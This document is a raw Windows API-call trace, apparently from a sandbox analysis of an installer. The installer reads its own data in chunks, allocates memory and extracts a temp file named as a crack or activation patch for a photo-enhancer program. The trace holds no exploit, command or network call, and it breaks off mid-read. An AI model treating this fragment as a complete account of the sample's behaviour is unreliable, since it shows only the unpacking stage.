[0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.864] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.864] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.864] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.865] VirtualAlloc (lpAddress=0x1cb8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1cb8000 [0246.866] VirtualAlloc (lpAddress=0x1cbc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1cbc000 [0246.867] VirtualAlloc (lpAddress=0x1cc0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1cc0000 [0246.868] VirtualAlloc (lpAddress=0x1cc4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1cc4000 [0246.869] VirtualAlloc (lpAddress=0x1cc8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1cc8000 [0246.871] VirtualAlloc (lpAddress=0x1ccc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ccc000 [0246.872] VirtualAlloc (lpAddress=0x1cd0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1cd0000 [0246.873] VirtualAlloc (lpAddress=0x1cd4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1cd4000 [0246.875] VirtualAlloc (lpAddress=0x1cd8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1cd8000 [0246.875] VirtualAlloc (lpAddress=0x1cdc000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1cdc000 [0246.876] VirtualAlloc (lpAddress=0x1ce0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ce0000 [0246.877] VirtualAlloc (lpAddress=0x1ce4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ce4000 [0246.879] VirtualFree (lpAddress=0x1e10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0246.901] VirtualFree (lpAddress=0x1c54000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0246.901] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fef8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fef8*=0) returned 0x3c4cd [0246.901] SetFilePointer (in: hFile=0xa8, lDistanceToMove=339901, lpDistanceToMoveHigh=0x18fee0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fee0*=0) returned 0x52fbd [0246.901] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x752b0000 [0246.902] GetProcAddress (hModule=0x752b0000, lpProcName="GetUserDefaultUILanguage") returned 0x752c4463 [0246.902] GetUserDefaultUILanguage () returned 0x409 [0246.902] GetSystemTime (in: lpSystemTime=0x18fefc | out: lpSystemTime=0x18fefc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0xd, wMinute=0x10, wSecond=0x21, wMilliseconds=0x242)) [0246.902] GetEnvironmentVariableA (in: lpName="TMP", lpBuffer=0x1c52d14, nSize=0xff | out: lpBuffer="") returned 0x24 [0246.902] GetFileAttributesA (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp")) returned 0x2010 [0246.903] GetFullPathNameA (in: lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp", nBufferLength=0x1000, lpBuffer=0x18eea0, lpFilePart=0x18ee9c | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp", lpFilePart=0x18ee9c*="Temp") returned 0x24 [0246.904] GetFileAttributesA (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\is-idt09.tmp")) returned 0xffffffff [0246.904] GetLastError () returned 0x2 [0246.904] SetLastError (dwErrCode=0x2) [0246.904] CreateDirectoryA (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\is-idt09.tmp"), lpSecurityAttributes=0x0) returned 1 [0246.910] SetFilePointer (in: hFile=0xa8, lDistanceToMove=339929, lpDistanceToMoveHigh=0x18fefc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fefc*=0) returned 0x52fd9 [0246.910] CreateFileA (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\is-IDT09.tmp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\is-idt09.tmp\\a1photo-&-art-enhancer_search&patch_activation.tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xb0 [0246.911] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x2000, flProtect=0x1) returned 0x1e10000 [0246.911] VirtualAlloc (lpAddress=0x1e10000, dwSize=0xc0000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e10000 [0246.928] ReadFile (in: hFile=0xa8, lpBuffer=0x18fee4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fe9c, lpOverlapped=0x0 | out: lpBuffer=0x18fee4*, lpNumberOfBytesRead=0x18fe9c*=0x4, lpOverlapped=0x0) returned 1 [0246.928] ReadFile (in: hFile=0xa8, lpBuffer=0x18fedc, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x18fe9c, lpOverlapped=0x0 | out: lpBuffer=0x18fedc*, lpNumberOfBytesRead=0x18fe9c*=0x5, lpOverlapped=0x0) returned 1 [0246.928] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fed8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fed8*=0) returned 0x52fe2 [0246.928] GetFileSize (in: hFile=0xa8, lpFileSizeHigh=0x18fed0 | out: lpFileSizeHigh=0x18fed0*=0x0) returned 0x90e34 [0246.928] VirtualAlloc (lpAddress=0x1ed0000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ed0000 [0246.930] ReadFile (in: hFile=0xa8, lpBuffer=0x18fe70, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fe4c, lpOverlapped=0x0 | out: lpBuffer=0x18fe70*, lpNumberOfBytesRead=0x18fe4c*=0x4, lpOverlapped=0x0) returned 1 [0246.930] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fe4c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fe4c*=0x1000, lpOverlapped=0x0) returned 1 [0246.930] VirtualAlloc (lpAddress=0x0, dwSize=0x203e6c, flAllocationType=0x1000, flProtect=0x4) returned 0x1f10000 [0246.930] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0246.930] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0246.931] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0246.932] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0246.932] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0246.932] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0246.932] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0246.932] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0246.932] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0246.932] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0246.932] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0246.932] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0248.165] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0248.165] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0248.165] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0248.165] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0248.166] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0248.166] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdc4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x18fdc4*, lpNumberOfBytesRead=0x18fda0*=0x4, lpOverlapped=0x0) returned 1 [0248.166] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fda0, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fda0*=0x1000, lpOverlapped=0x0) returned 1 [0248.179] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.179] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.179] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.179] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.179] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.179] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.179] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.179] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.179] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.180] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.180] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.180] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.180] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.180] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.180] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.180] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.180] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.180] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.180] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.180] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.181] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.181] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.181] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.181] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.181] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.181] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.181] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.181] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.181] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.181] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.181] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x18fdb0*, lpNumberOfBytesRead=0x18fd8c*=0x4, lpOverlapped=0x0) returned 1 [0248.181] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd8c, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd8c*=0x1000, lpOverlapped=0x0) returned 1 [0248.196] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.196] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.197] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.197] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.197] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.197] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 [0248.197] ReadFile (in: hFile=0xa8, lpBuffer=0x18fdb8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x18fdb8*, lpNumberOfBytesRead=0x18fd94*=0x4, lpOverlapped=0x0) returned 1 [0248.197] ReadFile (in: hFile=0xa8, lpBuffer=0x1ecca24, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd94, lpOverlapped=0x0 | out: lpBuffer=0x1ecca24*, lpNumberOfBytesRead=0x18fd94*=0x1000, lpOverlapped=0x0) returned 1 